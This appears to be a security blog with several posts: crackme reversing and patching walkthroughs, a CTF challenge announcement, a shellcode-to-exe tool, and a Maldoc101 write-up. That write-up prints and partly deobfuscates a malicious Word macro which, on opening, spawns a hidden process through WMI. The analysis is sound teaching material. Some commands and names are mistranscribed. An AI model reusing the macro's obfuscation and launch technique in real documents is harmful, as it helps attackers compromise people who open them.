My name is Karlo and I'm currently employed as a Cyber Security Engineer. I have an interest in threat hunting and malware analysis. I also work on cyber-security related programming projects like malware analysis tools and remote access tools.

The Emprisa Maldoc Challenge

in maldoc, ctf

I was inspired to make my own CTF challenge after finishing Maldoc101 found at The challenge I made is called Emprisa Maldoc and it is now up on their website.

Emprisa is based on a malicious document that I downloaded blindly from a malware sandbox. It used a relatively old but still interesting exploit that is still in use today. After researching more about it I came across a tool that can generate a malicious doc using the same exact exploit. This is when I got the idea to turn it into a challenge.


The challenge has 14 questions with increasing and varying difficulty. The challenge is targeted towards intermediate analysts who already have experience examining maldocs before. The goal is to reinforce the use of common malware analysis tools, but at the same time, teach players new things and techniques. It involves flexing muscles related to open source intelligence, examining shellcodes, and debugging processes.

I don't want to spoil too much but if you are for it, you can give it a go here. It was hella fun to make and I do hope that it is also as fun to solve!

Official write-up with hints coming soon.

I would like to extend my thanks to the team behind They accepted my submission, reviewed it, and worked with me in improving it. And also to Josh Stroschein for making Maldoc101 and being kind enough to entertain me with my questions related to making challenges.

IOLI Crackme 0x03

in re, crackme

I am continuing my reverse engineering review by tackling the IOLI crackmes by @pof. These are beginner friendly challenges that is perfect for newbies or for those who want to review the basics like me. Check out my writeups for 0x00, 0x01, and 0x02.

Getting the password

After opening the program in IDA I immediately saw that the code is almost exactly as the one in challenge 0x02, with the exception of our expected cmp command being inside the _test function.


Reading through the code I realized that the password for this challenge is exactly the same as the previous one!

But what's this? The success and failure messages are all garbled? And plus, what is this other new function called _shift?


A different kind of challenge

Opening up the _shift function shows us a short, but interesting looking program flow with two branches and one of the branches looping back. It seems we have a loop here that we could investigate.


If we look at the input that the function takes we will find out that the strings that are being passed from the _test function are Lqydolg#Sdvvzrug$ and Sdvvzrug#RN$$$#=, for the failure and success messages, respectively. This tells us that a cipher is applied to these strings. What cipher it is using is what we'll be trying to find out.

Discovering the cipher

The best way to discover the cipher used is to step through the code. We can do it with both static or dynamic analysis, but the latter is way easier.


The code above starts with mov eax, [ebp+arg_0] which copies the pointer to the string passed to our _shift function. We then copy that pointer to [esp+98h+Str] which is the memory location pointing to the top of the current stack. This is done so that it can be passed as an argument when we do call _strlen.

After executing, _strlen returns the length of the specified string and is saved to register eax. This is then used in the line cmp [ebp+var_7C], eax.

But what is the value of var_7C? If you scroll up at the start of the subroutine, var_7C is assigned a value of zero. If you know how loops work, you'll realize that this variable is going to be used to hold a counter value. It starts at a value of 0 and it will eventually be incremented after every loop, which is what is happening at 401348.

To make it easy for us to remember this, let's rename var_7C to a more memorable name like var_counter.


So going back, to the comparison command cmp [ebp+var_counter], eax, which now translates to cmp 0, 17. 17 being the length of our failure string Lqydolg#Sdvvzrug$. Since this is not equal it now goes to this next block of code.


Now this block is interesting. There's a lot that is happening but the gist of it is that the program gets one character from the input string, with var_counter as an offset. It then decrements that character value by 3, and added to a destination string. I'll be going through the code that I described step by step in the next section.

Stepping through

So to start, lea eax, [ebp+var_78] loads the address to var_78 which in my case points to the address 28FE90.

mov edx, eax copies that address to edx so we can use it on the next line.

add edx, [ebp+var_counter] adds to the address of var_78. Because var_counter is still 0, the address remains at 28FE90.

add eax, [ebp+arg_0] does the same thing as above but this time adding to [arg_0] which contains the address 28FF10.

movzx eax, byte ptr [eax] copies the byte contained in [eax] or 28FF10. In this case that byte contains the value 4Ch or L in ASCII. This is the first letter in our failure string Lqydolg#Sdvvzrug$!

sub al, 3 then substracts 3 to 4Ch making it 49h which is ASCII for I.

mov [edx], al saves the new character to the variable var_78 which is the memory location 28FE90. At this point in time the content is currently the character I. To make it easy for us to understand the code, let's rename var_78 to var_dest. This name is apt because this will be the destination for our shifted ASCII characters.

lea eax, [ebp+var_counter] and then inc dword ptr [eax] now increments the value of var_counter, which now makes it an integer value of 1.

Looping back

Alright. Now we go back up again to loc_401320. I'm not going to step through each line again, but I will highlight the important parts now that we have looped back.

cmp [ebp+var_counter] now translates to cmp 1, 17, which is still not equal.

add edx, [ebp+var_counter] now adds 1 to our var_dest variable, turning 28FE90 to 28FE91. The address for the arg_0 variable is also added by 1 at add eax, [ebp+arg_0].

By the time movzx eax, byte ptr [eax] is executed it now gets the next character in our failure string which is 71h or the letter q.

sub al, 3 converts are letter q to the letter n. And is once again saved to our var_dest variable with the command mov [edx], al.

Repeat until...

If I haven't lost you, then you should now be able to follow what will happen in the next steps:

var_counter will get incremented again and again, which will point to the next characters in the string. For example, the next characters: y then d then o will get shifted to v then a then l, respectively. This shifting of each characters will continue until cmp [ebp+var_counter equates to cmp 17, 17.

By the end, var_dest now contains the newly shifted string Invalid Password!. Finally! Applying the same code above to the success message, the garbled message would end with Password OK!!! :).

Wasn't that fun?

On to the next challenge

I hope I was able to explain properly the simple shifting algorithm used by the program above. I did it this way mostly for my own benefit and to make sure I really did understand how the algorithm worked in assembly. In future writeups I'll refrain from stepping through code at such a granular level, unless there is something really important that warrants it. Or maybe a video would be a much better format for these kinds of challenges?

Anyway, I look forward to the next challenge. Hopefully, you are too!

Maldoc101 Writeup (Part 1)

in re, malware_analysis, malware

This is part 1 out of 2 of my writeup for the Maldoc101 challenge made by Josh Stroschein (@jstrosch) and is currently playable at Cyberdefenders.Org. I've done some maldoc analysis before but this is the first time I'm writing about my approach.

There is also an already existing writeup about this challenge from the creator himself. You should check that out if you want a more detailed and focused writeup. This writeup is more from the perspective of someone relatively new to malware analysis. There's a lot more exploration and trial-and-error which, I hope, might give the reader a different view in how this kind of problem is approached.

The challenge


MalDoc101 - Malicious Document


It is common for threat actors to utilize living off the land (LOTL) techniques, such as the execution of PowerShell to further their attacks and transition from macro code. This challenge is intended to show how you can often times perform quick analysis to extract important IOCs. The focus of this exercise is on static techniques for analysis.

Suggested Tools

  • REMnux Virtual Machine (
  • Terminal/Command prompt w/ Python installed
  • Oledump
  • Text editor

The easy questions

The first question seems very easy. The suggested tools section above also gives us an idea how to approach this.

What streams contain macros in this document? (comma-separated, ascending). is a tool made by Didier Stevens that allows the analysis of data streams found in OLE files such as MS Office documetns. Running the command below would show us which streams have macros in it. These are denoted with the character M.

$ sample.bin
  1:       114 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:      7119 '1Table'
  5:    101483 'Data'
  6:       581 'Macros/PROJECT'
  7:       119 'Macros/PROJECTwm'
  8:     12997 'Macros/VBA/_VBA_PROJECT'
  9:      2112 'Macros/VBA/__SRP_0'
 10:       190 'Macros/VBA/__SRP_1'
 11:       532 'Macros/VBA/__SRP_2'
 12:       156 'Macros/VBA/__SRP_3'
 13: M    1367 'Macros/VBA/diakzouxchouz'
 14:       908 'Macros/VBA/dir'
 15: M    5705 'Macros/VBA/govwiahtoozfaid'
 16: m    1187 'Macros/VBA/roubhaol'
 17:        97 'Macros/roubhaol/\x01CompObj'

I later noticed that there is an upper-case and lower-case M. I learned that the upper-case M denotes a macro with a code. The lower-case denotes a user form. This is a distinction that will be important later in this challenge.

What command-line argument with Oledump do you use to view the raw content of a stream? (Do not include the leading dash)

The next question is another easy one which ran easily be solved through's --help parameter.

$ --help
Usage: [options] [file]
Analyze OLE files (Compound Binary Files)

  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -m, --man             Print manual
  -s SELECT, --select=SELECT
                        select item nr for dumping (a for all)
  -d, --dump            perform dump
  -x, --hexdump         perform hex dump
  -a, --asciidump       perform ascii dump
  -A, --asciidumprle    perform ascii dump with RLE
  -S, --strings         perform strings dump
  -T, --headtail        do head & tail
  -v, --vbadecompress   VBA decompression

The answer to question number two is easy to spot.

What event is used to begin the execution of the macros?

I used a different tool for this particular question mostly because I knew that it already shows the information I need to answer the question. The tool is called olevba which is part of the oletools package of Python tools. Olevba is used for extracting and analyzing VBA macro source code for MS Office documents.

$ olevba sample.bin
|Type      |Keyword             |Description                                  |
|AutoExec  |Document_open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|Create              |May execute file or a system command through |
|          |                    |WMI                                          |
|Suspicious|showwindow          |May hide the application                     |
|Suspicious|CreateObject        |May create an OLE object                     |

Onto the main event

What malware family was this maldoc attempting to drop?

I figured that the way for me to determine the answer for the question above is to start investigating the macro codes included in the document.

I knew from the previous question that the entry point to begin the execution of the macros is with the function Document_open(). The next step is to look for this entry point and go through the code to understand what the macro is doing.

To view the contents of a stream, I used the command below:

$ sample.bin -s 13 -v
Attribute VB_Name = "diakzouxchouz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
End Sub

In the above output, I saw that Document_open() contains a single line of code which is a call to function boaxvoebxiotqueb'. This function is included in stream 15 which can be viewed with the command:

$ sample.bin -s 13 -v
Attribute VB_Name = "govwiahtoozfaid"
Function boaxvoebxiotqueb()
gooykadheoj = Chr(roubhaol.Zoom + Int(5 * 3))
Dim c7�ATOQe2�j As Integer
c7�ATOQe2�j = 6
Do While c7�ATOQe2�j < 6 + 2
c7�ATOQe2�j = c7�ATOQe2�j + 5: DoEvents
haothkoebtheil = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fq" + gooykadheoj + "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fq" + roubhaol.joefwoefcheaw + "2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq"

The above output contains more lines of what looks like gibberish code. Upon further inspection I realized that it's actually obfuscated. I can see common coding patterns which tells me that I could make sense of the code if I step through it and organize it so it is easy to understand.

The first line of the boaxvoebxiotqueb shows:

gooykadheoj = Chr(roubhaol.Zoom + Int(5 * 3))

What's roubhaol? Since this is the first line in the function, I know that it is not a locally defined variable. It must be declared somplace else.

After looking around I learned that roubhaol is a the name of the user form at stream 16.

16: m    1187 'Macros/VBA/roubhaol'

So the next step is figuring out what roubhaol.Zoom's value is. This value is not set anywhere in any of the macros by code. This means that the value is set in the form itself. To confirm, I opened up the Word document, pressed Alt+F11 to open up the Visual Basic editor and then opened the roubhaol form. At the bottom we see that the value of Zoom is set to 100.


This means that by simulating the first line of code again we find that the variable gooykadheoj gets the character value of s.

gooykadheoj = Chr(roubhaol.Zoom + Int(5 * 3))
gooykadheoj = Chr(100 + Int(5 * 3))
gooykadheoj = Chr(115)
gooykadheoj = Chr(115) # character "s"

I then proceeded to go through the next set of lines.

Dim c7ATOQe2j As Integer
c7ATOQe2j = 6
Do While c7ATOQe2j < 6 + 2
c7ATOQe2j = c7ATOQe2j + 5: DoEvents

This one is easier to simulate. c7�ATOQe2�j is assigend 6. And then there's a loop that adds 5 that eventually results to the value of 16.

But wait, something is fishy here. The variable c7�ATOQe2�j is not found anywhere else after the block of code above. This tells us that this is just junk code that does not really do anything aside from waste an analyst's time! Sneaky sneaky.

To save me the time I proceeded to remove all junk code. I did this by going through each variables and seeing if they are used somewhere useful. If not, then they are safe to remove.

Attribute VB_Name = "govwiahtoozfaid"
Function boaxvoebxiotqueb()
    gooykadheoj = Chr(roubhaol.Zoom + Int(5 * 3))

    haothkoebtheil = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fq" + gooykadheoj + "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fq" + roubhaol.joefwoefcheaw + "2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq"

    deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil)

    Set tiajriokchaoy = CreateObject(deulsaocthuul)

    deaknaugthein = roubhaol.kaizseah.ControlTipText
    giakfeiw = deulsaocthuul + gooykadheoj + roubhaol.paerwagyouqumeid.ControlTipText + deaknaugthein
    queegthaen = giakfeiw + roubhaol.joefwoefcheaw

    Set deavjoajsear = luumlaud(queegthaen)

    xve = Array _
        ("1234444123", tiajriokchaoy. _
        Create(geulgelquuuj, kaenhaig, deavjoajsear), "9938723")
End Function

Function juuvzouchmiopxeox(yiajthoavheiw)
    geutyoeytiestheug = yiajthoavheiw
    feaxgeip = Split(geutyoeytiestheug, "2342772g3&*gs7712ffvs626fq")

    jaquhoiqu = csqw + Join(feaxgeip, eihnx)
    juuvzouchmiopxeox = jaquhoiqu
End Function

Function geulgelquuuj()
    sjiqw = roubhaol.gaoddaicsauktheb.Pages(10 / 10).ControlTipText
    geulgelquuuj = juuvzouchmiopxeox(sjiqw)
End Function

Function luumlaud(zeolkaepxoag)
    Set luumlaud = CreateObject(zeolkaepxoag)
    Dim vPu As String
    vPu = Replace$("BenqV1�igVwifwdQq", "BenqV1�i", "on5�")
        luumlaud _
        . _
        showwindow = (mujgoiy + jioyseertioch) + (neivberziok + xuajroegquoudcaij)
End Function

As you can see above, the code is shorter. It's also a little easier to understand. Only a little though, we still need to step through the code carefully to have a better grasp of what it is doing.

Let's take on the next line:

haothkoebtheil = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fq" + gooykadheoj + "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fq" + roubhaol.joefwoefcheaw + "2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq"

If we look at the string carefully we would notice that a set of strings is concatenated with two variables. These variables are gooykadheoj and roubhaol.joefwoefcheaw. We already know the value of gooykadheoj. So what's the value of roubhaol.joefwoefcheaw?

I got this value by going back to Visual Basic Editor and selelecting joefwoefcheaw. The value we need is listed under Text.


Substituting the values s and P I got the following:

haothkoebtheil = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fqP2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq"

It still doesn't clear up the gibberish, but at least it's now one big string. This same string is then passed as a parameter to function juuvzouchmiopxeox.

deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil)

Let's look at the code inside juuvzouchmiopxeox.

Function juuvzouchmiopxeox(yiajthoavheiw)
    geutyoeytiestheug = yiajthoavheiw
    feaxgeip = Split(geutyoeytiestheug, "2342772g3&*gs7712ffvs626fq")

    jaquhoiqu = csqw + Join(feaxgeip, eihnx)
    juuvzouchmiopxeox = jaquhoiqu
End Function

Following the code we could see that the passed string is splitted using the call to the function Split with the substring 2342772g3&*gs7712ffvs626fq. This simply means that the substring is removed from the input string. The result of Split is then joined into one string using Join. There are the variables csqw and eihnx, they don't alter the string as these variables are empty.

At the end of this function the value of the passed string is now:


Aha! Something that is not gibberish for a change!

Going back to the caller function, the result of juuvzouchmiopxeox is saved to deulsaocthuul.

    deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil)

    Set tiajriokchaoy = CreateObject(deulsaocthuul)

After that an object is created out of deaulsaocthuul, which we know contains winmgmts:win32_Process.

Looking at the microsoft docs I find out that The Win32_Process WMI class represents a process on an operating system.. Interesting.

Taking a step back

At this point there are already a number of questions that we could answer based on what we've done so far. Some are not yet answerable at the moment, however, so nothing left to do but to push forward. But that will be for the next part of this two part series.

Until then, I'm taking a step back as I marvel at my progress. It wouldn't take long until all the pieces would fall into place.

IOLI Crackme 0x02

in re, crackme

I am continuing my reverse engineering review by tackling the IOLI crackmes by @pof. These are beginner friendly challenges that is perfect for newbies or for those who want to review the basics like me. Check out my writeups for 0x00 and 0x01.

Getting the password

After the first two challenges I kinda know what to expect already so I skipped running the program and immediately loaded it in IDA.


So the lines leading to the comparison command now looks more complicated than before. We could easily see that there are some computations that happens thanks to the presence of add and imul. Before those, we have two values (5Ah and 1ECh) which we can easily guess are the values that will be worked on by these arithmetic functions.

So going through the lines sequentially we can see that the two numbers are first added with add [eax], edx. Which results in a value of 246h.

After that we see the line imul eax, [ebp+var_8], which if you follow the sequence closely effectively multiplies 246h by itself, resulting in a value of 52B24h.

Convert 52B24h to decimal equates to 338724, which is unsprisingly the password that we need.


Confirming via dynamic analysis

What we did above is that we used static analysis to inspect the program line by line to determine the final computed password value. Let's use dynamic analysis and step through the code to see how our data is manipulated in memory during this process.

Let's set a breakpoint immediately after the initial two values are loaded into memory.


If we look at the memory locations we would see the following:


epb+var_8 points to 28FF40 which now contains 5Ah

ebp+var_C points to 28FF3C which now contains 1ECh

Stepping through the code and checking the memory location after add [eax], edx shows that the result 246h is saved at memory location 28FF40.


Then after imul eax, [ebp+var_8] we see that eax now holds the value of 52B24h, confirming the final computed value that we had from our static analysis.


Patching the executables

Patching the executable is actually the same process as my writeup for 0x00.

On to the next challenge...

While the challenge is still easy, we can see that the complexity is slowly ramping up from previous challenges. We also took the time to confirm the result of our static analysis by debugging and stepping through the code. This is a good practice for me to familiarize myself with IDA, which I hope I could use in future challenges.

Introducing shcode2exe

in re, tools, malware_analysis

[Edit: shcode2exe is now part of Remnux]

I've been playing around with Remnux and encountered a problem trying to get one of the tools to run properly. The tool is shellcode2exe, it is used to compile binary shellcode to a file so it can easily be debugged by a debugger.

When I checked out the code, I was surprised to find out how simple it is. Basically, what happens is that the inputted shellcode is added to a barebones assembly file using the incbin assembly instruction. From there, the file is then automatically compiled and linked.

One big problem with the tool is that it needs to use Wine if it needs to run on Linux. I don't want such a huge dependency especially for my own malware analysis lab so I decided to write my own version which have led to the creation of shcode2exe.


While similar in functionality with the original tool, the biggest improvement I made is that it it does not depend on Wine along with other features as listed below:

  • Can accept a shellcode blob or string (String format \x5e\x31)
  • Can target both 32bit or 64bit Windows architecture.
  • Cross platform. Works on Linux or Windows.
  • No dependency on Wine when running on Linux
  • Tested working with Python v3.3 and above
  • Tested working on Windows 7 (Non SP1) and above


Here's the help message for the tool:

usage: [-h] [-o OUTPUT] [-s] [-a {32,64}] input

Compile a binary shellcode blob into an exe file. Can target both 32bit or 64bit architecture.

positional arguments:
  input                 The input file containing the shellcode.

optional arguments:
  -h, --help            show this help message and exit
  -o OUTPUT, --output OUTPUT
                        Set output exe file.
  -s, --string          Set if input file contains shellcode in string format.
  -a {32,64}, --architecture {32,64}
                        The windows architecture to use

Here's how to load a file with shellcode in the format of a string

$ cat test.txt
$ ./ -s -o test-string.exe test.bin

Load a file with shellcode in the format of a blob

$ ./ -o test-blob.exe test.bin

Use 64 bit architecture for the output (32 bit is the default)

$ ./ -o test-blob.exe -a 64 test.bin
$ file test-blob.exe
test-blob.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

Next steps

I decided to reach out to the people behind Remnux to ask if they could consider my tool as a replacement on their platform. It would be great if they would, but it's okay too if they don't, I made it for my own use anyway. (Update 2021-02-07: It's now under review)

For more information about the tool and it's code, go to it's Github page. If you have any comments or suggestions on how to improve it, feel free to tell me via Github issues or dm me at @accidentalrebel.

IOLI Crackme 0x01

in re, crackme

I am continuing my reverse engineering review by tackling the IOLI crackmes by @pof. These are beginner friendly challenges that is perfect for newbies or for those who want to review the basics like me. Check out my writeup for 0x00 here.

Getting the password

Of course, the first thing we do is run the program.


Just like last time, we opened up the program in IDA and focused on the part of the code that does the comparing of passwords.


cmp [ebp+var_4], 149Ah
jz short loc_40137c

This seems easy enough.

Initially I entered 149A as the password but this turned out to be incorrect. The reason for this is because scanf was passed a format of "%d".

mov [esp+18h+Format], offset aD ; "%d"
call _scanf

This means that the input it expects is actually a decimal integer. So converting 149A to decimal results in 5274, which is the correct password.


Patching the executables

Patching the executable is actually the same process as my writeup for 0x00.

Passing arguments to functions

Since the crackme was cracked relatively quickly I want to review and highlight how arguments are passed to functions.

The format of the scanf function in C is like so:

int scanf ( const char * format, ... );

Here's an example of how it is used:

int i;
scanf ("%d",&i);

If we look at the 0x01 program we could see how the arguments are passed to the _scanf function by placing the data to send on top of the stack.

lea eax, [ebp+var_4]
mov [esp+18h+var_14], eax
mov [esp+18h+Format], offset aD;  "%d"
call _scanf

lea eax, [ebp+var_4] gets the address of var_4, this is the memory location where scanf would put the inputted data. This is then added to the stack with mov [esp+18h+var_14].

offset aD gets the address of aD which contains the string "%d". This is the format parameter that scanf expects. This is then added to the stack with mov [esp+18h+Format].

With the two parameters added to the stack, it can now be used by the scanf function when call _scanf is executed.

I'm not sure if I was able to explain that properly. At the very least, you should have been able to have a basic idea of how variables are passed to functions. Take note, however, that there are other calling conventions for functions which meants that the passing of arguments can also differ.

On to the next challenge...

This is the second challenge out of 10 in the IOLI series of challenges. So far the challenges are still very easy, which is fine because it's still good for practice. I look forward to the next one.

IOLI Crackme 0x00

in re, crackme

I am re-familiarizing myself with reverse engineering again by going through some simple crackme challenges. This one is called the IOLI Crackmes by pof. The goal is to find the correct password and also to patch it so that it can accept any input and still show that it's correct.

Getting the password

Running the program shows a password prompt.


Of course, randomly entering passwords is going to be a waste of time so I opened up IDA to look at its code.

I knew that whatever password I enter in the program would be checked against the actual password. This is the part of the program that I should focus on so I scanned the code and found this:


mov [esp+38h+Str2], offset Str2; "250382"
mov [esp+38h+Format], eax; 
call _strcmp

And just from these few lines alone I already knew what the password is. IDA Pro was helpful enough to add a comment that offset Str2 equates to 250382. Surely enough, this number was the password.


Patching the executable

The next part of the challenge is to patch the executable so that it can accept any input and would still allow us through.

Looking at the graph view, we want the program to always go to the node on the right which has the "Password OK" message.


The line that we could change to allow us to do this would be this one:

jz short loc_40138A

The jz can be changed to a jmp command by changing the op code. Opening up the "Patch Bytes" window while the line is highlighted would show us this:


74 0E C7 04 24 2E 40 40 00 E8 A8 19 00 00 EB 0C

The opcode related to jz short loc_40138A is the first two btyes 74 0E. 74 is the "Jump short if equal" opcode and 0E is the relative jump distance. Changing 74 to EB converts it to the "Jump" opcode effectively making the line jmp short loc_40138A.


After saving, IDA will automatically upgrade the graph. It will now show us that the flow of the program now jumps to the right node directly.


All that is left to do is to patch the executable via "Edit > Patch Program > Apply patches to input file..." and run the program. From here, any entered password would automatically get accepted.


On to the next challenge...

This is the first out of the 10 challenges from this set. Since this is the first one, it is only natural for it to be very easy. It's still a good refresher for me especially since the last time I did any reversing was from a few years ago. I look forward to the next challenges, I do hope that they would ramp up in difficulty and also teach me new things for me to improve.

Hunt the Kingdom CTF Challenge

in ctf, cybersecurity

TLDR: Participated in a blue team CTF, had a lot of fun, looking forward for more

Yesterday I participated in the GuideM "Hunt the Kingdom" CTF challenge. It served as the final activity at the end of the "Cyber Defense and Threat Hunting" course.

I was looking forward to this CTF, especially after my awesome experience with the Red Team Village CTF at Defcon. This one is centered on the Blue Team side, and I was curious as to how it will play out.

The Preparation

I took one whole day to study and prepare. I went through all our slides and have written down the important concepts and commands to an org file. This is important because I wanted them to be easily searchable, which helped a lot during the challenge.

I also did research about the Hunt the Kingdom challenge itself. There weren't much information online about it but there were some social media posts that contained screenshots on how the challenge looked like. These gave me a lot of information on what to expect.


It's OSINT in practice :P

For example, with the screenshot above I learned how the UI looked like, that there were categories that we could switch to, leaderboards, how a question is structured, and that "areas" on the map can get added, enabled, and disabled during the game. The last part is particularly important as it means that not all questions are available from the start and some can get disabled during the game.

Thanks to the above research I felt confident that I could hit the ground running as soon as the game started. I picked my name (AccidentalRebel, of course) and my emblem and I was ready for the hunt.


Yes, that's the blue tank from Advance Wars, because I'm part of the "blue team".

The Hunt

When the hunt started my approach was to focus on the easy problems first. Getting them out of the way early would allow me to rack up points and just focus on the hard ones afterwards. This did the trick and I was able to maintain an early lead.

During the mid-game my computer hanged from all the switching between VMs (There were 3 VMs that we needed to use to solve the problems). Note to self: get a beefier PC. I got a bit frustrated by this but decided that instead of waiting for Windows to boot I could use the time to take a break and got lunch.


I came back to the game all full and refreshed, but sadly, I have already lost my lead. I felt a bit disappointed by this but I continued to push through. I removed the leaderboards to minimize distractions which helped. No need to pressure myself, I told myself. Although, I admit that I did peek from time to time.

With the renewed focus I was able to keep my standing in the top 3. The leader of the pack during the end-game was BoyHack3r, a worthy opponent who was always a few points ahead of me.

There was one question that has a lot of points that only has one solve. I knew that if I could get that it would give me enough points to snatch back 1st place. It wasn't an easy problem though so I changed my approach by slowing down which helped me understand the questions better. A few minutes later I was back at first place.

I've never done a celebratory fist pump before, this was the first time.

The Final Minutes

I was able to maintain first place position by continuously answering questions until I was left with just four questions. These four are problems that no one has solved yet. The activity on the leaderboards have lessened which I took to mean that the others were stuck like me. I was at 13740 points, BoyHack3r at 13590, and Overwatch at 13460. If any of them managed to solve just one out of these four problems then they'll easily overtake me.

I wasn't going to let that happen though. At 5 minutes left I continued solving the one that I had the most progress with. But it wasn't enough and I ran out of time. The others didn't get their lucky break either which finally cemented the scores on the boards.


After 6 hours of back-breaking hunting I was finally able to breathe a sigh of relief.

The End

I rarely engage in any competitive activity so my competitive side rarely comes out. This CTF definitely brought it out and gave me the push to take the challenge seriously. I didn't do it for the prizes though. I did it because I wanted to prove to myself that I have what it takes, especially since I don't have a formal background in CyberSecurity. While a CTF is not an accurate qualification of being part of a blue team, it does show a participant's ability to work and solve problems under pressure.

I want to give a shoutout to GuideM for guiding us throughout the course and for the extremely fun CTF challenge. Also to BoyHack3r, Overwatch, and :] for making me sweat bullets.

This is another big step for me into the world of cybersecurity and I do hope I could learn more and improve. I look forward to the next CTF!

My experience with manufacturing printed circuit boards

in pcbs, electronics

I've done a lot of electronics projects already, all of them were painstakingly hand-soldered on a perfboard. I actually like this approach for quick prototyping, and plus, I've also grown fond of how "raw" it looks like. In spite of this, I've always been curious and interested in having my own printed PCB. I remember designing one for my TIRO vibrating watch but I never pushed through with it because I wasn't confident with what I've made.


I really like the raw, almost electronic-punk look of my work

A couple of months ago I got an email from PCBWay asking if I was interested in trying out their PCB manufacturing service. The email from PCBWay re-ignited this interest in having a PCB made. The problem is I didn't have a PCB design that I built myself that I knew was going to work. My best option was the "ESPBoy project".

The ESPBoy is a project by RomanS that is touted to be the ultimate multi-gadget. RomanS sent me a kit a long time ago (Thank's again, RomanS). I have assembled and made a tutorial video for it which means that I know that it works and have a very good idea of how it is laid out.

With that decided, having the PCB made was a very easy and quick process. I just uploaded the gerber file on the PCBWay website, waited for the review of the PCB to be finished, and in a few hours I clicked the submit button and it was off to the printers.

Fast forward a few weeks later and the package with the printed pcbs arrived.


And yes, I changed the color to red just so they would look different.

I must say that I am very impressed with the quality of the PCBs. The material feels really solid and the lines so fine and accurate. I've seen and held PCB etchings before, and this is like lightyears ahead in terms of quality. The same can be said with my hand soldered perfboards, of course.

Sadly, these PCBs have been sitting in storage because I haven't found the time due to the baby. Thankfully, my schedule is slowly opening up recently and I plan to build one ESPBoy in the next coming weeks. I plan to remove the parts from the old one and put it on this. This newer PCB design has new features like the ability to connect to an app store (yeah, seriously) and I'm really curious to try it out.

I also might consider having another PCB made, but this time with my own design. I'm thinking I might go ahead and have my TIRO watch made, or maybe something even simpler. We'll see.

CovidScammers writeup (Defcon RTV CTF)

in ctf, writeup, malware_analysis, defcon

I joined the Defcon Red Team Village CTF because I was curious about it and I wanted to test out the skills that I have gained playing with CTF sites like and vulnhub. I knew that the challenges won't be easy, but thankfully, I was able to join up with other newbies who were willing to give it a go and learn with each other.

Unfortunately, I fell asleep just before the CTF started and when I woke up all the easy challenges were already solved by my team members. There was one easy challenge that was still open on the CovidScammers category, so I quickly got started to solving that.

Free Flag (and binary) [1 point]

